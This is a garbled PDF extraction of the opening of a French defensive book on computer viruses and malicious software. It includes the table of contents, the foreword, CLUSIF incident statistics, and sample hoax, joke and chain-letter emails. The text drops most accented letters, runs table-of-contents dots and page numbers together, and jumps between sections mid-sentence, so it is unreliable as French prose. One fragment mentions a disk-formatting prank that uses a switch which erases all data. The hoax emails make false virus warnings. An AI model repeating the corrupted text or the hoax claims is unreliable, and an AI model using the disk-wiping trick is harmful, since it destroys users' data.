Documente Academic
Documente Profesional
Documente Cultură
Scurit des Architectures Web Plouin, Soyer, Trioullier 496 pages Dunod, 2004
Anti Spam : Kit de survie Kevin Gallot 208 pages Dunod, 2004
Les IDS Les systmes de dtection dintrusions informatiques Thierry Evangelista 272 pages Dunod, 2004
Sous la direction de
Philippe Ros
Avant propos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Chapitre 1 Les multiples aspects de la malveillance . . . . . . . . . . . . . . 1.1 La scurit des systmes dinformation 1.1.1 Les menaces . . . . . . . . . . . . 1.1.2 La malveillance . . . . . . . . . . 1.1.3 Les attaques logiques. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
IX 1 1 2 3 4 5 6 8 11 14 15 17 18 19 19 33 35 35 36 37 37 38
1.2 Les messages non sollicits (sans pice jointe) 1.2.1 Les rumeurs ou hoaxes . . . . . . . . . . 1.2.2 Les lettres chanes . . . . . . . . . . . . . 1.2.3 Le spamming . . . . . . . . . . . . . . . 1.2.4 Le scam africain . . . . . . . . . . . . . . 1.2.5 Le phishing . . . . . . . . . . . . . . . .
1.3 Les messages non sollicits (avec pice jointe) . . . . . . . . . . . . . . . 1.4 Farces et canulars. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1.5 Les infections informatiques . . . . . . . . . . . . . . . . . . . . . . . . . 1.5.1 Les programmes simples . . . . . . . . . . . . . . . . . . . . . . . . . 1.5.2 Les programmes auto reproducteurs . . . . . . . . . . . . . . . . . . . Chapitre 2 Historique de linnocence la tentation criminelle . . . . . . 2.1 John Louis von Neumann . . . . . . . . . . . . . . . . . . . . . . . . . . 2.2 Les premires expriences . . . . . 2.2.1 CREEPER & REAPER . . . 2.2.2 Animal et Pervade . . . . . . . 2.2.3 Maintenance et tldistribution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
IV
2.3 La science-fiction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.3.1 Harlie avait un an . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.3.2 Sur londe choc . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.4 APPLE II . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.4.1 Elk Cloner . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.4.2 Anti-Congo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.5 Fred Cohen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.6 Les premiers vers . . . . . . . . . . . . . . . . . 2.6.1 BITNET : IBM Christmas Tree . . . . . . . 2.6.2 INTERNET : RTM Worm . . . . . . . . . 2.6.3 DECNET : Father Christmas Worm . . . . 2.6.4 DECNET : Worms Against Nuclear Killers . 2.7 1986-1987 : Premires infections . . 2.7.1 BRAIN . . . . . . . . . . . . 2.7.2 Ralf Burger & Berdn Fix . . . . 2.7.3 Les universits en premire ligne 2.7.4 Larrive du cryptage . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
38 39 39 40 40 41 41 43 43 43 44 44 45 45 46 46 47 47 47 48 48 50 51 52 53 54 54 56 58 59 59 61 63 64 64 65 66
2.8 1988 : Les premiers antivirus pour ibm pc . . . . . . . 2.8.1 Virus Antivirus . . . . . . . . . . . . . . . . . . . 2.8.2 Monitoring de programme . . . . . . . . . . . . . 2.8.3 DATACRIME : Lantivirus est au commissariat ! . 2.8.4 Recherche par signature . . . . . . . . . . . . . . . 2.10 1989 2.10.1 2.10.2 2.10.3 2.10.4 2.10.5 2.10.6 2.11 1992 2.11.1 2.11.2 2.11.3 1992 : Investigation et challenge. . . . Le vengeur tnbreux . . . . . . . . . . . 1260 : Le premier virus polymorphe . . . . Flip, Tequila ET Maltese Amoeba . . . . Tous azimuts pour les virus et les anti-virus La riposte des chercheurs . . . . . . . . . . Michelangelo . . . . . . . . . . . . . . . . 1995 : Gnrateurs et sophistication . Natas, One_Half et les autres . . . . . . Quelques arrestations . . . . . . . . . . Goodtimes & Gt-Spoof . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.12 1995 1999 Larrive des virus interprtes . . . . . . . . . . . . . . . . 2.12.1 WM/Concept . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.12.2 W95/Boza & Linux/Staog by Quantum . . . . . . . . . . . . . . . . .
2.12.3 2.12.4 2.12.5 2.12.6 2.13 1999 2.13.1 2.13.2 2.13.3 2.13.4 2.13.5 2.13.6
Linvasion des macro-virus . . . . . . . . La naissance de Network Associates Inc. . Le retour des virus programme . . . . . . Rabbit : Le lapin ! . . . . . . . . . . . .
. . . .
. . . .
. . . .
. . . .
. . . . . . . . . . .
. . . . . . . . . . .
. . . . . . . . . . .
. . . . . . . . . . .
. . . . . . . . . . .
. . . . . . . . . . .
. . . . . . . . . . .
. . . . . . . . . . .
. . . . . . . . . . .
. . . . . . . . . . .
. . . . . . . . . . .
67 69 70 71 72 72 74 75 78 79 79 80 81 83 84 87 87 88 89 92 94 94 96 96 97 99 100 101 101 101 104 106 107 107 107 107 111
2000 Linvasion des MASS-MAILERS . Happy 99 . . . . . . . . . . . . . . . . . . . . . Melissa . . . . . . . . . . . . . . . . . . . . . . LoveLetter . . . . . . . . . . . . . . . . . . . . Kak, le Cagou contre Bubbleboy . . . . . . . . . VBS/Timofonica . . . . . . . . . . . . . . . . . Autour des PDA PalmOS/Phage . . . . . . . .
2.14 2001 2003 Un discret changement de cap . . . . . . . . . . . . . . . 2.15 Lt 2003 : ce sont principalement les particuliers qui trinquent ! . . . . 2.16 Janvier 2004 : W32/MYDOOM.A@MM . . . . . . . . . . . . . . . . . . 2.17 suivre . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Chapitre 3 Notions fondamentales . . . . . . . . . . . . . . . . . . . . . . . 3.1 Les virus par cibles . . 3.1.1 Virus systme . . 3.1.2 Virus interprtes . 3.1.3 Virus programme . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.2 Les vers par types. . . . . . . . 3.2.1 Vers ou virus . . . . . . . 3.2.2 Vers de disquettes . . . . . 3.2.3 Vers de rseaux locaux . . 3.2.4 Vers de messagerie . . . . . 3.2.5 Vers en mode poste poste 3.2.6 Vers de lInternet . . . . .
3.3 Les virus/vers par fonctionnalit . . 3.3.1 Anti-debugging . . . . . . . . 3.3.2 Du cryptage au metamorphisme 3.3.3 Virus dfensif Retro-virus . . 3.3.4 Furtivit . . . . . . . . . . . . 3.3.5 Infecteur rapide . . . . . . . . 3.3.6 Cocktail . . . . . . . . . . . .
3.4 La classification des virus . . . . . . . . . . . . . . . . . . . . . . . . . . 3.4.1 Les virus de premire gnration . . . . . . . . . . . . . . . . . . . . . 3.4.2 Leffort de standardisation actuel . . . . . . . . . . . . . . . . . . . .
VI
3.5 Les autres environnements . . . . . . . . . . . . . . . . . . . . . . . . . . 127 3.5.1 OS/2 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 127 3.5.2 MacOS. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 128 3.5.3 UNIX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 129 Chapitre 4 Les virus systme . . . . . . . . . . . . . . . . . . . . . . . . . . 131 4.1 Mise en marche dun micro-ordinateur. . . . . . . . . . . . . . . . . . . . 131 4.1.1 Lorganisation de la mmoire . . . . . . . . . . . . . . . . . . . . . . . 133 4.1.2 Les interruptions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 134 4.2 Mode de propagation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 136 4.3 Attaque du boot. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 137 4.3.1 4.3.2 4.3.3 4.3.4 4.3.5 Secteur damorce dune disquette . Secteur damorce dun disque dur . Structure dune disquette . . . . . Structure dun disque dur . . . . . Le virus Form . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 137 139 140 141 142
4.4 Attaque du MBR . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 146 4.4.1 Structure du secteur des partitions . . . . . . . . . . . . . . . . . . . . 146 4.4.2 Le virus Jumper.B . . . . . . . . . . . . . . . . . . . . . . . . . . . . 148 4.5 Techniques avances . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 150 4.5.1 4.5.2 4.5.3 4.5.4 4.5.5 4.5.6 4.5.7 Modification de la CMOS . . . . . . Furtivit . . . . . . . . . . . . . . . Inaccessibilit au disque . . . . . . . . Utilisation de secteurs supplmentaires Non-sauvegarde du secteur dorigine . Multipartisme . . . . . . . . . . . . Polymorphie . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 150 151 151 153 154 154 154
4.6 Spcificit des OS. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 154 Chapitre 5 Les virus programme . . . . . . . . . . . . . . . . . . . . . . . . 157 5.1 Modes dinfection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 157 5.1.1 5.1.2 5.1.3 5.1.4 5.1.5 5.1.6 Recouvrement . . . . . . . Ajout . . . . . . . . . . . . Infection par cavit simple . Infection par fractionnement Dlocaliss . . . . . . . . . Compagnons . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 158 159 162 163 164 164
VII
5.2 Lenvironnement 32 bits . . . . . . . . . . . . . . . . . . . . . . . . . . . 5.2.1 Structure dun fichier 32 bits . . . . . . . . . . . . . . . . . . . . . . . 5.2.2 Quelques mthodes dinfection . . . . . . . . . . . . . . . . . . . . . . Chapitre 6 Les vers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6.1 Activation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6.2 Classification . . . . . . . . 6.2.1 Langage interprte . . . 6.2.2 Langage compil . . . . 6.2.3 Mthodes de rplication . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
165 166 173 193 193 194 194 203 204 211 211 213 216 217 217 219 219 220 220 221 221 222 225 228 229 231 231 235 235 236 237 237 238 238 239
Chapitre 7 Macro-virus et virus de script . . . . . . . . . . . . . . . . . . . 7.1 Macro-virus . . . . . . . . . . . . . . . . . . . . . . . 7.1.1 Mode de Fonctionnement sous Word . . . . . . . 7.1.2 Mode de fonctionnement sous Excel et PowerPoint 7.1.3 Un cas particulier : XF/PAIX . . . . . . . . . . . 7.1.4 Virus sous Access . . . . . . . . . . . . . . . . . 7.2 Virus de script . . . . . 7.2.1 VBScript . . . . . 7.2.2 Java et JavaScript . 7.2.3 Traitement par lot . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Chapitre 8 Les logiciels anti-virus . . . . . . . . . . . . . . . . . . . . . . . 8.1 Les mthodes de dtection . . . . 8.1.1 La recherche par signature . . 8.1.2 La recherche gnrique . . . . 8.1.3 Le contrle dintgrit . . . . 8.1.4 La recherche heuristique . . . 8.1.5 Le monitoring de programmes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
8.2 Les principaux concepteurs de produits anti-virus . . . . . . . . . . . . . Chapitre 9 Organiser la lutte anti-virale . . . . . . . . . . . . . . . . . . . . 9.1 Les grandes rgles respecter . . . . . 9.1.1 Les ressources propres lutilisateur 9.1.2 Les ressources partages . . . . . . 9.1.3 Les passerelles . . . . . . . . . . . 9.1.4 Le monde extrieur . . . . . . . . 9.1.5 La dimension humaine . . . . . . . 9.1.6 La politique des mises jour . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
VIII
9.2 Techniques de protection. . . . . 9.2.1 Les anciennes mthodes . . . . 9.2.2 Les suites office . . . . . . . . 9.2.3 Internet explorer . . . . . . . 9.2.4 Outlook et Outlook Express . 9.2.5 Windows Scripting Host . . . 9.2.6 Simples et doubles extensions . 9.2.7 Lextension SHS . . . . . . . 9.2.8 Paramtres rseau . . . . . . 9.3 Choisir son anti-virus . . . . . 9.3.1 Les benchmarks . . . . . 9.3.2 Se faire sa propre opinion . 9.3.3 Testez votre anti-virus . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
239 240 240 241 242 244 244 246 247 249 249 250 251
9.4 Le poids dune infection virale pour lentreprise . . . . . . . . . . . . . . . 253 Chapitre 10 Dernires volutions et perspectives . . . . . . . . . . . . . . . 259 10.1 Les buts recherchs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 260 10.2 Envahir nos machines. . . . . . . . . . . . . . . . . . . . . . . . . . . . . 261 10.3 Saffranchir de lutilisateur, gagner en vitesse, diminuer en taille . . . . . . 267 10.3.1 CODERED . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 267 10.3.2 SLAMMER . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 269 10.4 Utiliser des failles . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 271 10.5 Distribuer une porte drobe . . . . . . . . . . . . . . . . . . . . . . . . . 277 10.6 Porter atteinte la confidentialit . . . . . . . . . . . . . . . . . . . . . . 280 10.7 Faire la collecte de mots de passe. . . . . . . . . . . . . . . . . . . . . . . 280 10.8 Savoir se mettre jour . . . . . . . . . . . . . . . . . . . . . . . . . . . . 283 10.9 Intgrer de multiples techniques de propagation. . . . . . . . . . . . . . . 286 10.10 Investir les modes poste poste . . . . . . . . . . . . . . . . . . . . . . . 287 10.11 Usurper intelligemment les adresses. . . . . . . . . . . . . . . . . . . . . 288 10.12 Rechercher laval de lutilisateur . . . . . . . . . . . . . . . . . . . . . . 288 10.13 Linvasion des robots . . . . . . . . . . . . . . . . . . . . . . . . . . . . 291 10.14 Conclusion : la fin de lenfantillage Lappt du gain . . . . . . . . . . . 295 Abrviations et glossaire . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 297 Index . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 305
Avant propos
Lide dcrire ce livre mest venue aprs avoir cout les interrogations et les commentaires de nombreux curieux. Parfois disponibles au sein dactes de confrences quasi privs ou lintrieur de revues la diffusion limite, il mest trs vite apparu que beaucoup dinformations taient introuvables. Cette constatation ma encourag poursuivre ma dmarche. Mme si mon but initial fut dintresser le plus grand nombre, ce livre cible un public dinformaticiens et de spcialistes. Je souhaite leur montrer une autre vision du phnomne virus : celle du chasseur et non pas celle du crateur. Vous napprendrez pas crire des virus mais, au l des chapitres, vous comprendrez mieux comment on les combat. Pour dbuter notre voyage, nous positionnerons les infections informatiques dans la pyramide scuritaire. Nous en droulerons ses diverses facettes pour comprendre qui est qui et qui fait quoi dans cette nbuleuse malveillante. An de comprendre les enjeux actuels, il est indispensable de connatre lhistoire du phnomne virus. Il sagit dune histoire passionnante avec une tonnante galerie de personnages. Elle est pleine de rebondissements et se rapproche parfois du triller et de la science-ction. Par cette dcouverte nous entrerons dans le cur du sujet. Sachant ou se situe notre ennemi et quelle est son histoire, nous le dcrirons dans ses multiples formes. Les divers types de virus et de vers seront dclins selon leurs cibles et leurs attributs. Avec les virus programmes, nous rentrerons dans le cur du mtier. Ce chapitre, ainsi que celui ddi aux vers, risque deffrayer certains lecteurs. Il me fallait trouver une mthode pour vous amener voir avec lil du chercheur. Jai donc mani lhexadcimal et la visualisation des chiers quil nous propose. En vous faisant apprhender la structure interne des chiers modernes jai voulu donner une forte plus-value ce livre. Nous aborderons ensuite la protection anti-virale dans ses aspects thoriques, pratiques autant que mthodologiques. Ayant expliqu les mthodes, des pistes seront ouvertes pour aider le professionnel dans sa qute dun bon anti-virus.
Les produits du march sont souvent performants, ils nexcluent pas la mise en pratique de quelques conseils de conguration qui se doivent de les complter. Pour conclure, partant des faits marquants depuis lan 2000, ce livre dmontrera que les auteurs de virus daujourdhui ne cherchent plus, ni dtruire, ni dtriorer des informations. Il mettra jour leurs buts actuels qui, plus discrets, sont souvent bien plus prjudiciables. Voil donc litinraire de ce livre. Pour prolonger le parcours, de nombreux liens bibliographiques vous seront offerts tout au long de votre lecture. Si le jargon technique vous laissait un temps dsorient, un glossaire que jai souhait important et un index devraient vous aider retrouver votre chemin.
1
Les multiples aspects de la malveillance
Pour dmarrer cet ouvrage, il me semble utile de repositionner le phnomne virus dans son contexte. Les nombreux programmes malveillants qui circulent ne sont pas tous des virus et la confusion rgne dans nombreux esprits. Celle ci est entretenue par le fait que bon nombre danti-virus dtectent ces programmes sans toujours les distinguer. Alors que les spcialistes se complaisent dans un jargon parfois hermtique, la presse gnraliste souvent tendance voir un virus derrire chaque attaque quelle mdiatise. Dans ce chapitre nous allons partir du sommet de la pyramide des risques en prenant soin de dcliner chaque aspect de la malveillance. Souvent laide dexemples, nous dtaillerons tout particulirement les attaques logiques et les programmes simples. Nous aurons ainsi une vue densemble de tout ce qui nest pas viral : linventaire des activits nfastes mais non auto-reproductrices.
Tout comme dautres acteurs de la malveillance, les auteurs des virus avec leurs crations portent atteinte la sret des traitements et des informations. Certaines nouvelles fonctionnalits quils mettent en uvre sapparentent parfois la fraude informatique. Pour rpondre aux risques informatiques, pour sauvegarder son patrimoine industriel, assurer son bon fonctionnement et garantir sa prennit, une entreprise doit tre sre de son systme dinformation. Elle doit en assurer sa condentialit, son intgrit et sa disponibilit. Connu sous labrviation CID, ce premier triptyque, est troitement li un second : accident-erreur-malveillance. Cette classication des menaces permet lanalyse des risques informatiques selon leur cause premire principale. Les virus informatiques sont du domaine de la malveillance ; ils ont des rpercussions en terme de condentialit, dintgrit et de disponibilit.
De son cot, le CLUSIF1 prfra orienter ses tudes annuelles en terme de survenance, de moyens mis en uvre et de risques redouts. Lenqute quil mit au point repose sur les dclarations dentreprises franaises. Environ 600 dentres elles et une centaine de collectivits publiques y rpondent chaque anne. En 2001, les infections virales taient situes en 3me position parmi les incidents au plus fort taux doccurrence cit. Depuis 2002, elles prennent la premire place mme si elles sont souvent considres comme incident de scurit et non pas sinistre.
1. Ltude du CLUSIF intitule Politiques de scurit des systmes dinformation et sinistralit en France Bilan 2003 est disponible en version PDF en suivant le lien : https://www.clusif.asso.fr/fr/production/sinistralite/docs/etude2003.pdf. Les versions prcdentes sont galement disponibles sur le site de lassociation.
Tableau 1.1 Survenance des Sinistres Informatiques CLUSIF 2000/2003 % dentreprises concernes Principaux types de sinistre 2000 Infection par virus Panne interne Vol Perte de services essentiels Erreur dutilisation vnement naturel 11,5 16,6 6,6 13,4 23,9 4,6 2001 14,8 18,5 3,6 16,9 11,9 1 2002 26,3 19,7 6,7 22,6 14,4 5,2 35 18 15 10 8 3 2003
Lorsque les entreprises sont interroges sur les risques qui les menacent , elles citent en premier les infections informatiques. Mme si les personnes interroges subissent linuence des mdias et malgr une tendance la baisse (62 % en 2001 contre 52 % en 2003) on a ici conrmation de limportance porte au phnomne.
Tableau 1.2 Perception des risques venir CLUSIF 2001-2003 % dentreprises concernes Type de risque 2001 Virus ou infection informatique Accident dorigine interne Accident dorigine externe Intrusion externe lentreprise sans altration
Dunod La photocopie non autorise est un dlit
2002 58 29 25 16 17 17 8 3 7 4 52 36 17 15 9 8 2 2 1
2003
62 35 13 13 13 16 8 2 7 1
Erreur dutilisation Vol ou disparition de matriel ou de logiciel Erreur de conception Atteinte limage Attaque cible Chantage ou fraude
1.1.2 La malveillance
Nous naborderons pas dans le dtail les risques accidentels et les erreurs.
Les premiers regroupent principalement les accidents physiques comme les incendies, les vnements naturels comme les inondations et les temptes, les pannes matrielles ou logicielles et les pertes de services essentiels comme les pannes dlectricit. Les seconds peuvent survenir la conception, la ralisation ou lors de lutilisation . Ils concernent aussi bien les logiciels que les procdures dapplication.
La malveillance inclue toute action humaine visant voler ou dtriorer un matriel, porter prjudice aux ressources dun systme, sy maintenir sans autorisation et en tirer des prots illicites. Les grves et le dtournement dheures de travail font aussi partie de cette catgorie. Lutilisation non autorise ou abusive des ressources du systme conduit souvent une perte dintgrit ou de disponibilit de certaines informations ; cet aspect de la malveillance prend souvent le nom dattaque logique et conduit la plupart du temps un sabotage immatriel. Cest cet aspect que nous allons maintenant dvelopper.
sur le poste dun collgue de travail en est un exemple. Son but est le formatage du disque. Le commutateur /u efface toutes les donnes du disque, ce qui rend leur rcupration impossible par les outils standards de rcupration.
Le phishing, opration malveillante descroquerie qui consiste rcuprer des donnes personnelles et financires par le biais denvoi massif demails non sollicits. Phishing veut dire fishing (pcher) crit avec le ph comme dans le jargon pirate (phreaking).
SECTOR ZERO A Virtual Card for You Un nouveau virus vient dtre dcouvert et a t classifi par Microsoft (www.microsoft.com) et par McAfee (www.mcafee.com) comme tant le plus destructeur nayant jamais exist!. Ce virus a t dcouvert hier aprs-midi par McAfee et aucun vaccin na encore t dvelopp. Ce virus dtruit le Sector Zero de votre disque dur, l o les informations vitales au fonctionnement de votre systme sont emmagasines. Ce virus agi de la faon suivante : il envoie luimme un message toute votre liste de contact avec le titre "A Virtual Card for You " ou Une carte virtuelle pour vous . NE PAS OUVRIR AUCUN LIEN QUI PORTE CETTE MENTION. Aussitt que la suppose carte virtuelle est ouverte, lordinateur gle et lutilisateur doit redmarrer son systme. Lorsque les touches ctrl+alt+del ou le bouton "reset" sont enfoncs, le virus dtruit le Sector Zero, votre disque dur sera alors dtruit de faon permanente. S.V.P. distribuez ce message plus de gens possible. Hier, en quelques heures seulement, le virus causer la panique New-York ; cest ce quannonait le canal nouvelles CNN (www.cnn.com). Cette alerte a t reue par un employ de Microsoft lui-mme. Figure 1.3 Exemple de rumeur lie un faux virus
Lhumour
Souvent lis lactualit et la vie courante ou professionnelle, ces messages nont pas lambigut des prcdents. Ils sont clairement reconnus comme humoristique par la personne qui les reoit et les retransmet ensuite pour en faire profiter ses relations.
ALERTE NOUVEAU VIRUS : JOSPIN.exe Si vous recevez un mail intitul : Avec Jospin tout ira bien ou Lionel Jospin lavenir vous sourit : SURTOUT NE LOUVREZ PAS ! Il sagit dun virus, le JOSPIN.exe, qui se rpand depuis 5 ans en France sous diffrentes formes : Aubry.exe (votre PC va planter en moins de 35h) Trotskyste.exe (votre imprimante nimprime plus quen rouge) Rave.exe (Votre carte son nest plus reconnue par le PC) Vaillant.exe (une photo dYvan Colonna remplacera votre fond dcran) Fabius.exe (la capacit de votre mmoire vive est constamment revue la baisse) Chevenement.exe (A chaque clic gauche, le message dalerte tes vous sr ? saffiche lcran) Ce virus est programm pour devenir actif le 5 mai 2002 20h00. Presque la moiti des ordinateurs franais auraient t contamins en moins de 5 ans. Heureusement une mobilisation spontane des professionnels du Net, des jeunes et des jeunes actifs a permis de trouver la parade en mettant au point lanti-virus le plus >efficace ce jour : lesprit dquipe. Lefficacit de cet anti-virus est proportionnelle au nombre dinternautes enregistrs sur www.lespritdequipe.com. En venant vous inscrire et en diffusant ce message dalerte lensemble de votre carnet dadresses, vous radiquerez le virus le plus austre que la France ait connue. LEsprit dEquipe Cellule Anti-Virus www.lespritdequipe.com Figure 1.4 Exemple de message humoristique
Quils soient lis aux faux virus ou lhumour, si ces messages sont relays outrance, ils risquent dencombrer les rseaux.
En 1997, Daniel Guinier, expert judiciaire prs la Cour dappel de Colmar, mettait en garde le public contre certaines chanes de solidarit1 : vitons toute paranoa mais, en rapport avec le texte suivant, posons-nous tout de mme la question : Que peut donc rapporter lenvoi de simples cartes de visite ? Monsieur (ou madame) Je reois de monsieur (ou madame) la requte suivante : est un petit garon (ou une petite fille), de 7 11 ans, actuellement malade ou souffrant dun cancer ou une leucmie en phase terminale. Un de ses souhaits serait dtre inscrit dans le Guiness Book des Records, avec le plus grand nombre de cartes de visite jamais rassembles par une seule personne. Si vous voulez exaucer son souhait, faites-lui parvenir votre carte professionnelle ladresse suivante : et faites suivre les pages de listes ci-jointes, y compris la vtre, dix autres personnes ou socits de votre connaissance. Je vous serais reconnaissant de ne pas briser cette chane de solidarit, etc. Si on peut noter que lobjet de la lettre est neutre, en apparence, puisquil nest pas question dargent, il fait tout de mme rfrence la qualification de la carte, dite : professionnelle ou daffaires . En revanche, il y a fort penser que certaines socits seraient prtes payer cher pour disposer dun fichier actualis de professionnels, plutt laise et lcoute des autres. Ce type de demande nest pas un cas isol. Daniel Guinier cite trois exemples ou lappel pour participer une telle chane a t prsent dans les mmes termes : en 1993, en faveur dun petit Amricain leucmique de onze ans ; en 1994, pour un petit Anglais de sept ans souffrant dun cancer ; en 1997, destination dune petite Portugaise de sept ans dont les jours sont compts. Il semble bien que ce systme de collecte fonctionne et cest le caractre urgent de la demande qui hte les rponses. Tous les moyens sont bons pour crer des chiers dadresses lectroniques de personnes vulnrables qui pourront ensuite faire lobjet dautres attaques cibles. Le mauvais sort, la chance ou la fortune peuvent aussi arriver dans votre boite lettre. Dautres chanes utilisent la crdibilit des gens face lapproche de malheurs annoncs ou de bonheurs futurs selon le renvoi ou non du message en quantit. La aussi, la meilleure solution est la suppression immdiate du message.
1. Attention aux fausses chanes de solidarit. Document disponible ladresse : http:// www.afscv.org/misc/chaines.htm.
10
Voeux de bonne anne 2000 de la part du Dalai Lama Vous trouverez quils valent la peine dtre lus et partags : Ne conservez pas ce message. Ce mantra doit quitter vos mains dans les 96 heures. Vous aurez une surprise trs agrable. Ceci est vridique, mme si vous ntes pas superstitieux. I N S T R U C T I O N S P O U R M E N E R V O T R E V IE 1. Tenez compte du fait que le grand amour et les grandes russites impliquent de grands risques. 2. Lorsque vous perdez, ne perdez pas la leon. 3. Suivez les trois R : Respect de soi-mme Respect des autres et Responsabilit de tous vos actes. 4. Souvenez-vous que ne pas obtenir ce que vous voulez est parfois un merveilleux coup de chance. 5. Apprenez les rgles pour savoir comment les transgresser correctement. 6. Ne laissez pas une petite dispute meurtrir une grande amiti. 7. Lorsque vous ralisez que vous avez commis une erreur, prenez immdiatement des mesures pour la corriger. 8. Passez un peu de temps seul chaque jour. 9. Ouvrez vos bras au changement, mais ne laissez pas senvoler vos valeurs. 10. Rappelez-vous que le silence est parfois la meilleure des rponses. 11. Vivez votre vie dune faon bonne et honorable. Ainsi, lorsque vous vieillirez et que vous regarderez en arrire, vous en profiterez une deuxime fois. 12. Un foyer aimant est la fondation de votre vie. 13. Dans les dsaccords que vous avez avez ceux que vous aimez, ne vous 